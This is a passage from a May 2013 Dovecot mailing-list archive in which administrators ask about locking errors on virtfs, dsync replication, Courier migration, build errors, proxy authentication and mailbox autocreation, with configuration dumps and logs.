/etc/ssl/certs/postfix.pem ssl_key_file: /etc/ssl/private/postfix.key login_dir: /var/run/dovecot/login login_executable(default): /usr/lib/dovecot/imap-login login_executable(imap): /usr/lib/dovecot/imap-login login_executable(pop3): /usr/lib/dovecot/pop3-login mail_privileged_group: mail mail_location: maildir:/var/mail/%u mbox_write_locks: fcntl dotlock mail_executable(default): /usr/lib/dovecot/imap mail_executable(imap): /usr/lib/dovecot/imap mail_executable(pop3): /usr/lib/dovecot/pop3 mail_plugin_dir(default): /usr/lib/dovecot/modules/imap mail_plugin_dir(imap): /usr/lib/dovecot/modules/imap mail_plugin_dir(pop3): /usr/lib/dovecot/modules/pop3 lda: auth_socket_path: /var/run/dovecot/auth-master postmaster_address: postmaster(a)holinice.com mail_plugins: sieve log_path: syslog_facility: mail auth default: mechanisms: plain login verbose: yes passdb: driver: pam userdb: driver: passwd socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 432 user: mail group: mail

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[Dovecot] dovecot + virtio (9p2000.L) = errors
by epek＠gmx.net 28 May '13

28 May '13

Hi! I hope someone knows more about the issues I've encountered in: Setup: I am running dovecot 2.1.7 on Debian Wheezy in a virtual machine (kvm-style qemu-kvm: host: ubuntu 13.04/1.4.0-dfsg-1expubuntu). The mail storage is a directory on the host machine mounted via virtfs (9p2000.L) on the guest. Furthermore ISPConfig is involved in that setup, but that should not make any significant difference at that point. Problem resolved: The problem is, that similar to nfs mmap() and dotlocking seem to fail - the mmap issue could be resolved by adding: mmap_disable=yes to dovecot.conf Problem remaining: Still the following errors remain, despite dotlock_use_excl=no May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/.quotausage.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: file dict commit: file_dotlock_open(/var/vmail/mydomain/test/.quotausage) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:52 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:52 host dovecot: imap(test@mydomain): Error: file_dotlock_create(/var/vmail/mydomain/test/Maildir/dovecot-uidlist) failed: No such file or directory May 27 12:54:52 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:52 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory May 27 12:54:52 host dovecot: imap(test@mydomain): Error: file_dotlock_create(/var/vmail/mydomain/test/Maildir/dovecot-uidlist) failed: No such file or directory The "failed" files are existing on that path - permissions for the configured "vmail" user and group exist (0600). I'd be greatful for any hint on how to resolve that issue - Thanks in advance! Regards Erich

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[Dovecot] put users's mailbox in read only mode
by Frank Bonnet 28 May '13

28 May '13

Hello For internal purpose I need to put some users's mailboxes and IMAP folders in read only mode during few days. We use MBOX format and UNIX real users mode ( FreeBSD 9.1 ) thanks for any info

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[Dovecot] UIDLs problem on migration to dovecot
by Oscar A. Jara 27 May '13

27 May '13

Hello list, I'm about to migrate from Courier 4.6 (POP and IMAP) to Dovecot 1.2. I am currently trying to match UIDLs of both servers to avoid redownload of mails but I could not success. I've already configured dovecot POP3 to format UIDLs like this: pop3_uidl_format = UID%u-%v I also executed the script 'courier-dovecot-migrate.pl' to do the migration in a couple of test accounts but the IDs don't match for all mails and the script didn't report any errors. I have production courier pop3 server running on port 110 and the new dovecot server running on another port. Here I paste some of the missmatches in one of the test accounts: 8827 UID9060-1259354075 | 8827 UID9041-1259354075 8828 UID9061-1259354075 | 8828 UID9023-1259354075 8829 UID9062-1259354075 | 8829 UID9067-1259354075 8830 UID9063-1259354075 | 8830 UID9064-1259354075 8831 UID9064-1259354075 | 8831 UID9043-1259354075 8832 UID9065-1259354075 | 8832 UID9061-1259354075 8833 UID9066-1259354075 | 8833 UID9025-1259354075 8834 UID9067-1259354075 | 8834 UID9047-1259354075 One thing that I don't know if is important is that I am using dovecot-lda since long ago, not courier lda. I don't know what I am missing here and I would appreciate some help. Thank you. __________ Information from ESET Mail Security, version of virus signature database 8381 (20130527) __________ The message was checked by ESET Mail Security. http://www.eset.com

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[Dovecot] Problem with dsync replication : mails are not deleted correctly
by Nicolas ROCHE 27 May '13

27 May '13

Hello, I would like to configure a postfix / dovecot cluster based on ssh / dsync replication. I have two linux serveurs (Oracle RHEL 5 86_64) and I install both sides dovecot (V2.2.2+), postfix (2.10.0) and mysql (Ver 14.12 Distrib 5.0.77). I configured these servers in order to make them replicate, and I created some virtual users. I use some java code in order to send mail (with SMTP) and to get mail (with POP3). When the java code get a mail, it deletes it from mailbox (the flag "DELETED" is set to true). When I send a mail on server A, I can see the mail replicated on both servers A and B : a file containing the message data exists in /home/vmail/test03/new/ in both sides. When I get the mail from server A with my java POP3 client, all is OK : the mail is deleted on both servers A and B (no more file in /home/vmail/test03/new/). The problem is when I send a mail on server A and I get it from server B : I can get the mail, but the mail is not deleted from server B, and neither from server A. When I try a second time to get the mail on server B, then all becomes OK : the mail is deleted on both server A and B. I can reproduce the problem every time. Is it a known bug or not ? If yes, is there a patch ? If no, may the problem come from my config ? Regards, Nicolas. [root@int-proxy1 dovecot-2.2.2-p1]# doveconf -n # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: Linux 2.6.18-194.el5xen x86_64 Red Hat Enterprise Linux Server release 5.5 (Tikanga) ext3 disable_plaintext_auth = no hostname = int-proxy1 mail_location = maildir:/home/vmail/%u mail_plugins = acl quota notify replication mail_privileged_group = mail mbox_write_locks = fcntl namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf driver = sql } plugin { mail_replica = remote:vmail@int-proxy2 replication_full_sync_interval = 1 hours } pop3_uidl_format = %g postmaster_address = postmaster(a)mail.fluid-e.int service aggregator { fifo_listener replication-notify-fifo { mode = 0666 user = vmail } unix_listener replication-notify { mode = 0666 user = vmail } } service auth-worker { user = root } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { mode = 0666 user = vmail } user = root } service config { unix_listener config { user = vmail } } service doveadm { user = vmail } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0666 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service replicator { process_min_avail = 1 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem submission_host = int-proxy1:25 userdb { args = /usr/local/etc/dovecot/dovecot-sql.conf driver = sql } protocol imap { mail_plugins = acl quota imap_acl imap_quota mail_log notify }

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[Dovecot] Upgrading 1.2 to 2.x
by Simon B 27 May '13

27 May '13

Hi In an unscheduled maintenance window next week, I will have the opportunity to upgrade to 2.x should I wish to do and provided I can get it working on stage first. My questions: I've seen a lot on the list about the rock-solidness of 1.2 but also some people saying that some versions of 2.x better than others. Is there a recommended version - I don't need bleeding edge, I'd prefer stability, or one most of you can agree on? What am I missing by not upgrading? A few months ago I tried to convert a Dovecot 1.2 config into 2.1 and wasn't very successful. Any tips on how to go about it? Thanks. Simon

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[Dovecot] mixing virtual and system users
by Julien Beauviala 27 May '13

27 May '13

Hello all, I'm setting up a small mail server for aprox 20 users, and I'm trying to keep it really simple so I went the virtual users as text file way, following this page : http://lukas-schulze.de/2012/02/setup-postfix-and-dovecot-on-debian-squeeze… It seemed to work fine except for the 'system' users, and I am stumped by this. Basically the config does not 'see' /etc/aliases, so mail to root or mailman are 'Recipient address rejected: User unknown'. I've added the backup pam as explained by the following page* and tried many permutations in /etc/postfix/main.cf but still not good, systems users are rejected. Obviously something is amiss. * http://wiki2.dovecot.org/Authentication/MultipleDatabases If someone could point me in the right direction, that would be great. The system is debian 6, details of the configuration below. dovecot -n : ------------ # 1.2.15: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 ext3 log_timestamp: %Y-%m-%d %H:%M:%S protocols: imap imaps pop3 pop3s ssl_cert_file: /etc/ssl/certs/postfix.pem ssl_key_file: /etc/ssl/private/postfix.key login_dir: /var/run/dovecot/login login_executable(default): /usr/lib/dovecot/imap-login login_executable(imap): /usr/lib/dovecot/imap-login login_executable(pop3): /usr/lib/dovecot/pop3-login first_valid_uid: 5000 last_valid_uid: 5000 first_valid_gid: 5000 last_valid_gid: 5000 mail_privileged_group: vmail mail_location: maildir:/var/vmail/%d/%n/Maildir mbox_write_locks: fcntl dotlock mail_executable(default): /usr/lib/dovecot/imap mail_executable(imap): /usr/lib/dovecot/imap mail_executable(pop3): /usr/lib/dovecot/pop3 mail_plugin_dir(default): /usr/lib/dovecot/modules/imap mail_plugin_dir(imap): /usr/lib/dovecot/modules/imap mail_plugin_dir(pop3): /usr/lib/dovecot/modules/pop3 lda: auth_socket_path: /var/run/dovecot/auth-master postmaster_address: postmaster(a)example.net mail_plugins: sieve log_path: auth default: mechanisms: plain login verbose: yes passdb: driver: pam passdb: driver: passwd-file args: scheme=CRAM-MD5 /etc/dovecot/users.conf userdb: driver: static args: uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes userdb: driver: passwd socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 384 user: vmail group: vmail postconf -n : ------------- alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix debug_peer_level = 2 inet_interfaces = all mailbox_size_limit = 0 mydestination = localhost mydomain = example.net myhostname = osiris.example.net mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 myorigin = $mydomain queue_directory = /var/spool/postfix recipient_delimiter = + relayhost = show_user_unknown_table_name = no smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtp_tls_note_starttls_offer = yes smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtp_use_tls = yes smtpd_banner = $myhostname ESMTP $mail_name smtpd_helo_required = yes smtpd_helo_restrictions = reject_invalid_helo_hostname smtpd_recipient_restrictions = reject_unknown_recipient_domain, reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_local_domain = $myhostname smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous smtpd_sasl_tls_security_options = $smtpd_sasl_security_options smtpd_sasl_type = dovecot smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_cert_file = /etc/ssl/certs/postfix.pem smtpd_tls_key_file = /etc/ssl/private/postfix.key smtpd_tls_loglevel = 1 smtpd_tls_received_header = yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtpd_tls_session_cache_timeout = 3600s smtpd_use_tls = yes tls_random_source = dev:/dev/urandom virtual_alias_maps = hash:/etc/postfix/virtual_alias_maps virtual_gid_maps = static:5000 virtual_mailbox_base = /var/vmail virtual_mailbox_domains = hash:/etc/postfix/virtual_mailbox_domains virtual_mailbox_maps = hash:/etc/postfix/virtual_mailbox_maps virtual_minimum_uid = 100 virtual_transport = dovecot virtual_uid_maps = static:5000 /etc/postfix/virtual_mailbox_domains : -------------------------------------- @example.net OK @osiris.example.net OK /etc/postfix/virtual_mailbox_maps : ----------------------------------- elisabethp(a)example.net example.net/elisabethp /etc/postfix/virtual_alias_maps : --------------------------------- elisabeth(a)example.net elisabethp(a)example.net j.

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[Dovecot] NFS mount permissions
by Patrick Westenberg 26 May '13

26 May '13

Hi everyone, I would like to move my mails from ocfs2 to an NFS share. As the mountpoint and all folders and files belong to nobody/nogroup, dovecot is only able to access the mails if I give full access to "others". I don't like that. How do you NFS-using guys solve this problem? Regards Patrick

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[Dovecot] Problems with Apple Mail: Enter Password for Account "..."
by Frank Röhm 26 May '13

26 May '13

Hello I have on Ubuntu 12.04 a postfix 2.9.3-2 mailserver with dovecot 2.0.19 I get email from my pc (thunderbird), my smartphone (k9mail) and my MacBook (Apple Mail 4.6 - 1085 on Mac OS 10.6.8) all with IMAP and SSL. All is working normally but sometimes I get an error message from my MacBook, which is irritating. It says this (more or less): "Enter Password for Account "..." The IMAP-Server "..." rejected the password for user "..." Enter your password again or cancel. ... o Remember this password in my keychain" The password was NOT wrong, but anyway, if reenter it, Apple Mail won't accept it, the message will come again and again. I guess that dovecot blocks apple mail maybe because the other two clients try to login at the same time? Is there any setting where I could adjust this blocking (if it is blocking) in dovecot? Only if this really is the reason. The issue is coming not regularily but when it comes, often for half an hour I cannot check mails for this account (other accounts on apple mail won't be touched). If I restart Apple Mail, the problem could be fixed, but maybe not. In the logfiles of Dovecot I don't find anything about this. Thank you and kind regards frank

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Re: [Dovecot] Dovecot mysql replication
by Alex Crow 26 May '13

26 May '13

Hi, Balls, the silly script (written in largely incomprehensible perl by a predecessor of mine) is supposed to catch mailing lists, and HR won't let us have it auto-terminate or update... :-( Thanks for giving me an another few hours work :-) Alex On 24/05/13 08:54, Edwardo Garcia wrote: > Alex, you on long vacation? > > Hi, I am on leave, returning on Thursday 9th May If your query is > urgent, please raise contact the team onitdept(a)integrafin.co.uk > <mailto:itdept@integrafin.co.uk>. Regards Alex > > > On Fri, May 24, 2013 at 5:48 PM, Alex Crow <acrow(a)integrafin.co.uk > <mailto:acrow@integrafin.co.uk>> wrote: > > On 24/05/13 08:45, Edwardo Garcia wrote: > > Halo, > > (First time posting, please forgive English is not native) > > Change from Courier to Dovecot 2.1.16 > > Having two server. > > Having mysql on thiz two server, one master, one slave. > > What we wish is slave Dovecot only ask slave mysql, unless > slave mysql not > work when then ask master, we have Postfix do thiz fallover > good, but > Dovecot talk to slave and master no mater what, we think thiz > defeat > fallover as we not want this aktion, but aktion like Postfix. > > The problemo is can not find Dovecot option for thiz in > wiki2.dovecot.org <http://wiki2.dovecot.org>, > is possible? > > > You could set up MySQL in Dual Master mode instead.... > > Alex > > > > -- > This message has been scanned for viruses and > dangerous content by *MailScanner* <http://www.mailscanner.info/>, and is > believed to be clean.

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[Dovecot] dovecot-sieve (pigeonhole) -- is is possible to "re-filter" INBOX when filters have been updated?
by Lev Serebryakov 25 May '13

25 May '13

Hello, Dovecot. I want to migrate to webmail (roundcube) over dovecot + sieve (pigeonhole). Now I'm using on-client (The Bat!) filters, but I need to have acccess to my mail everywhere, not only on my workstation. And I wonder, is here simple way to re-filter INBOX after sieve filters have been changed? Any offline (desktop) mail client could run new filters on old messages -- is here any way to do this with dovecot-sieve (pigeonhole)? I'm using postfix + dovecot LMTP to run sieve filters. -- // Black Lion AKA Lev Serebryakov <lev(a)serebryakov.spb.ru>

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[Dovecot] Virtual Servers, or different authentication setups.
by Joshua Gardner 25 May '13

25 May '13

I want to know if there is any virtual server functionality in Dovecot? I would like to have two separate configurations, that access the same email, running in the same Dovecot instance. They would bind different ports and/or IPs, but have different authentication settings. In particular, one would use a PLAIN password scheme, the other SSHA. How would I go about setting up these virtual servers? Or, would I have to run separate instances of Dovecot? If I do have to run separate instances, how do I keep them from interfering with eachother? -Josh

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[Dovecot] Passwordless auth?
by Dan Mahoney, System Admin 25 May '13

25 May '13

Hey all, I'm in the process of writing some scripts which I want to be able to take actions on my local mailbox. (For example, to move a subset of messages to the trash over time, if unread for a week. To act on messages in my learn-spam folder and then delete them). What occured to me as being a Neat Idea is if Dovecot could honor ident (rfc1413) lookups, from trusted hosts (i.e. 127.0.0.1). In this way I get all the benefits of dovecot's indexing being updated and nice locking, but I don't have to leave my password laying around in a plaintext file. (Yes, this assumes I'm running a shell on the mail server. I'm not concerned about the same level of security when you could simply cat my mail spool). I'd definitely consider something like an SSH key with a forced command (I do see questions in the FAQ about making dovecot work over a socket connection), but that forgoes using standard imap clients. I could also create a dovecot-only user with my UID and no other login privileges, but I'd like this to "just work" for anyone. I don't know anything about if dovecot supports X509 auth, but this would require the client libraries to support such a thing, which not all do. I'd love to hear about any other ways people have thought about to do this. Any ideas? -Dan Mahoney -- --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org ---------------------------

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[Dovecot] userdb section order seems important in config file
by Ken A 24 May '13

24 May '13

Hi Timo, et al, I'm using Dovecot 2.2.2, with dict file based quota and a quota_rule in dovecot.conf. I have userdb configured like so: userdb { driver = passwd-file args = /etc/dovecot/passwd-file } userdb { driver = passwd } I get the behavior I want with a single line in the passwd-file for any users that I'd like to override the default quota. BUT, if I list the userdb sections in the reverse order, with the driver=passwd first, then the quotas in passwd-file are ignored. I have a feeling I am counting on undocumented behavior that might change in the future. Or is this okay to depend on? Thanks, Ken -- Ken Anderson Pacific Internet - http://www.pacific.net

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[Dovecot] Store Mails into SQL DB
by Leander S. 24 May '13

24 May '13

Hi, is there an option to store eMails into DB right away instead of storing them as files on the HDD?

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[Dovecot] Is it possible to palce "detailed" (with local+folder@domai.com) messages not to INBOX/folder, but to INBOX/FixedSubfolder/folder?
by Lev Serebryakov 24 May '13

24 May '13

Hello, Dovecot. Now, with enabled "recipient_delimiter = +", "lmtp_save_to_detail_mailbox" and using LMTP, messages with "detail" in address, are placed in auto-created mailboxes. It is great, but what if I want to put all such mailboxes not in inbox directly, but lower in mailbox hierarchy? Is it possible without using sieve? -- // Black Lion AKA Lev Serebryakov <lev(a)serebryakov.spb.ru>

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[Dovecot] How to rewrite header from X-Original-To to Delivered-To
by Kiran Reddy 24 May '13

24 May '13

HiAll, How to rewrite mail headers from X-Original-To to Delivered-To using sieve script. I am using Dovecot-2.2 and Pigeonhole 0.4. Thanks, Kiran Reddy

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[Dovecot] How to rewrite header from X-Original-To to Delivered-To
by Kiran Reddy 24 May '13

24 May '13

HiAll, How to rewrite mail headers from X-Original-To to Delivered-To using sieve script. I am using Dovecot-2.2 and Pigeonhole 0.4. -- Thanks & Regards Kiran Reddy Lead Systems Administrator Unicel Technologies Pvt. Ltd. | C-Block | Second Floor | Vaishnavi Silicon Terrace, 30/1 | Hosur Main Road | Koramangala | Bangalore- 560095 Mobile (+91) 7829007447 Skype My status <skype:kiranreddyi?call> Unicel Technologies <http://www.uniceltech.com/> website <http://www.uniceltech.com/> | newsletter <http://www.uniceltech.com/mediacentre.shtml> | map <http://maps.google.com/maps?f=q&source=embed&hl=en&geocode=&q=UNICEL+Techno…> | email <mailto:kiran@uniceltech.com> <https://www.facebook.com/pages/Unicel-Technologies-Pvt-Ltd/387394831334812><https://www.facebook.com/pages/Unicel-Technologies-Pvt-Ltd/387394831334812> *Confidentiality Note:* This e-mail and any attachments are confidential and may be protected by legal privilege. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of this e-mail or any attachment is prohibited. If you have received this e-mail in error, please notify us immediately by returning it to the sender and delete this copy from your system. Thank you for your cooperation.

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[Dovecot] Dovecot 2.2.2 compiling error
by Mart Pirita 23 May '13

23 May '13

Hello. I cant build 2.2.2, but I can build fine version 2.1.16 with same options: RedHat based customized distro, 2.6.28.10 kernel Build options: export CPPFLAGS export LDFLAGS CPPFLAGS=-I/usr/local/ssl/include LDFLAGS=-L/usr/local/ssl/lib ./configure \ --prefix=/usr \ --with-ssl=openssl \ --with-ssldir=/etc/ssl \ --sysconfdir=/etc \ --without-vpopmail \ --with-pam \ --without-bsdauth \ --without-sql \ --without-nss \ --without-ldap \ --without-pgsql \ --without-mysql \ --without-sqlite \ --with-rundir=/var/run/dovecot\ --without-deliver \ --without-gssapi Build error: /bin/sh ../../../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. -I../../.. -I../../../src/lib -I../../../src/lib-test -I../../../src/lib-dict -I../../../src/lib-fs -I../../../src/lib-mail -I../../../src/lib-imap -I../../../src/lib-index -I../../../src/lib-storage -I/usr/local/ssl/include -std=gnu99 -g -O2 -Wall -W -Wmissing-prototypes -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 -Wbad-function-cast -fno-builtin-strftime -MT index-search.lo -MD -MP -MF .deps/index-search.Tpo -c -o index-search.lo index-search.c libtool: compile: gcc -DHAVE_CONFIG_H -I. -I../../.. -I../../../src/lib -I../../../src/lib-test -I../../../src/lib-dict -I../../../src/lib-fs -I../../../src/lib-mail -I../../../src/lib-imap -I../../../src/lib-index -I../../../src/lib-storage -I/usr/local/ssl/include -std=gnu99 -g -O2 -Wall -W -Wmissing-prototypes -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 -Wbad-function-cast -fno-builtin-strftime -MT index-search.lo -MD -MP -MF .deps/index-search.Tpo -c index-search.c -fPIC -DPIC -o .libs/index-search.o index-search.c: In function `search_arg_match_text': index-search.c:715: error: size of array `type name' is negative make[5]: *** [index-search.lo] Error 1 make[5]: Leaving directory `/usr/src/redhat/BUILD/dovecot-2.2.2/src/lib-storage/index' make[4]: *** [all-recursive] Error 1 make[4]: Leaving directory `/usr/src/redhat/BUILD/dovecot-2.2.2/src/lib-storage/index' make[3]: *** [all-recursive] Error 1 make[3]: Leaving directory `/usr/src/redhat/BUILD/dovecot-2.2.2/src/lib-storage' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/usr/src/redhat/BUILD/dovecot-2.2.2/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/usr/src/redhat/BUILD/dovecot-2.2.2' make: *** [all] Error 2 error: Bad exit status from /var/tmp/rpm-tmp.57532 (%build) Please advise? -- Mart

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[Dovecot] How the does "new" autocreate method works?
by Attila Nagy 23 May '13

23 May '13

Hi, I'm trying to migrate from the deprecated autocreate plugin to the mailbox { auto }setting without success. What do I forget, or misunderstand? I deliver mails via LMTP and log in on IMAP, neither of them create the folders other than the inbox itself. # doveconf -n # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 9.1-STABLE amd64 auth_cache_negative_ttl = 0 auth_cache_size = 100 M default_process_limit = 1000 default_vsz_limit = 1 G disable_plaintext_auth = no import_environment = LD_PRELOAD info_log_path = syslog lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes lmtp_save_to_detail_mailbox = yes log_path = /var/log/dovecot-errors.log mail_gid = 999 mail_location = maildir:~/Maildir mail_plugins = " quota" mail_temp_dir = /data/tmp mail_uid = 999 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = } passdb { args = /usr/local/etc/dovecot/master-users driver = passwd-file master = yes pass = yes } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { mail_log_events = delete mailbox_delete mail_log_fields = uid box msgid size flags vsize from subject quota = maildir:User quota quota_warning = storage=95%% quota-warning 95 %h quota_warning2 = storage=80%% quota-warning 80 %h recipient_delimiter = + sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = pop3 imap lmtp service auth { unix_listener auth-userdb { mode = 0600 user = qmailldap } } service lmtp { inet_listener lmtp { port = 24 } user = qmailldap } service managesieve-login { inet_listener sieve { port = 4190 } } service quota-warning { executable = script /usr/local/quota-warning/quota-warning.sh unix_listener quota-warning { user = qmailldap } user = qmailldap } ssl = no userdb { driver = prefetch } userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } userdb { args = /usr/local/etc/dovecot/dovecot-ldap-catchall.conf.ext driver = ldap } verbose_proctitle = yes protocol lmtp { mail_plugins = " quota mail_log notify sieve" } protocol imap { mail_plugins = " quota imap_quota mail_log notify" } Thanks,

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[Dovecot] auth with passwd file , doublepoint in paasword
by Robert Schetterer 23 May '13

23 May '13

Hi, does anyone know if a doublepoint : is in the password how it gets escaped when using http://wiki2.dovecot.org/AuthDatabase/PasswdFile Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

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[Dovecot] problem with proxy setup
by Claus 23 May '13

23 May '13

Hi all, i have some troubles in the implementation of my proxyconfiguration. i have two kind of users, the first will be proxied to a dovecot backend with masteruser-login, the other one will be proxied to another non-dovecot imapserver with nopassword. Everything looks to work if i use passwd-file like this: user1:{PLAIN}pass1:::::::proxy=y host=192.168.1.1 destuser=user1*masteruser pass=masterpass user2::::::::nopassword proxy=y host=192.168.2.2 In an second step i try the same behavior with sql (postgresql), but there are my problems. In my thinking, the sql query should return the right fields (in passwd-file) like proxy, host, .. but whats the trick, to get only the correct fields i need for the different funktions? first proxy, host, destuser, pass and on the other side nopassword, proxy and host. Maybe i have mistakes in reasoning, but in sql i get in one query always the same fields. I hope someone can give me some hints an tricks. thanks, Claus

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[Dovecot] Error: Initial status notification not received
by Kavish Karkera 23 May '13

23 May '13

Hi , We are getting a below error on our Dovecot POP/IMAP server on every alternate days. Please help us in knowing with the errors are related to May 23 02:40:05 blade7 dovecot: master: Error: service(pop3-login): Initial status notification not received in 30 seconds, k illing the process May 23 02:40:05 blade7 dovecot: master: Error: service(log): child 8697 killed with signal 9 May 23 02:42:04 blade7 dovecot: master: Error: service(pop3-login): Initial status notification not received in 30 seconds, k illing the process May 23 02:42:04 blade7 dovecot: master: Error: service(ssl-params): Initial status notification not received in 30 seconds, k illing the process May 23 02:42:04 blade7 dovecot: master: Error: service(log): Initial status notification not received in 30 seconds, killing the process May 23 02:42:04 blade7 dovecot: master: Error: service(anvil): Initial status notification not received in 30 seconds, killin g the process May 23 02:42:04 blade7 dovecot: master: Error: service(imap-login): Initial status notification not received in 30 seconds, k illing the process Regards, Kavish Karkera

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[Dovecot] LDA and enkive
by Davide 23 May '13

23 May '13

Hi to all is it possible to use dovecot lda to pipe emails into enkive socket? if yes how? -- *Davide Marchi* *T*eorema *F*errara *Srl* Via Spronello, 7 - Ferrara - 44121 Tel. *0532783161* Fax. *0532783368* E-m@il: *davide.marchi(a)mail.cgilfe.it* Skype: *davide.marchi73* Web: *http://www.cgilfe.it* *CONFIDENZIALITA'* *Ai sensi del D.Lgs. 196/2003 si precisa che le informazioni contenute in questo messaggio sono riservate ed a uso esclusivo del destinatario/dei destinatari. Qualora il messaggio in parola Le fosse pervenuto per errore, La invitiamo ad eliminarlo senza copiarlo e a non inoltrarlo a terzi, dandocene gentilmente comunicazione.* *Per favore, pensa all'ambiente. Stampa questa email solo se necessario.*

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[Dovecot] should dovecot store maildir files with CRLF or LF?
by Christoph Anton Mitterer 22 May '13

22 May '13

Hi. I've made a strange observation. When having Dovecot (at least) with maildir and moving (via IMAP) mail received by some client (Evolution 3.4) into it the following happens: Regardless of whether the mail was originally(!) set with CRLF or LF (i.e. when I use netcat to submit the plain SMTP to the relaying MTA). When the client (Evolution) had received the mail via POP3 before moving it via IMAP into Dovecot... then the maildir file within dovecot is all LF. When the client however received it via IMAP, before in turn moving it on via IMAP into Dovecot, then the maildir file is mixed CRLF and LF, i.e. the body is CRLF, the headers are terminated... Well the actually bug here is probably in Evolution (as so many others... o.O)... but I wondered... what is Dovecot expected to write files? Platform end-of-line markers (i.e. LF in case of UNIX) or always network end-of-line markers (CRLF)? Cheers, Chris.

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[Dovecot] dsync Migration Couldn't keep all uids dove 2.1.16
by Robert Schetterer 22 May '13

22 May '13

Hi Timo, using http://wiki2.dovecot.org/Migration/Dsync for migration i am getting this in periods dsync(sys4-test-2(a)example.de): Info: INBOX: Couldn't keep all uids dsync(sys4-test-2(a)example.de): Warning: Mailbox changes caused a desync. You may want to run dsync again. dsync(sys4-test-2(a)example.de): Warning: I/O leak: 0x756547164490 (line 1229, fd 15) dsync(sys4-test-2(a)example.de): Warning: I/O leak: 0x756547164490 (line 1229, fd 10) dsync(sys4-test-2(a)example.de): Warning: Timeout leak: 0x7565471647a0 (line 1316) dsync(sys4-test-2(a)example.de): Warning: Timeout leak: 0x7565471647a0 (line 1316) Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

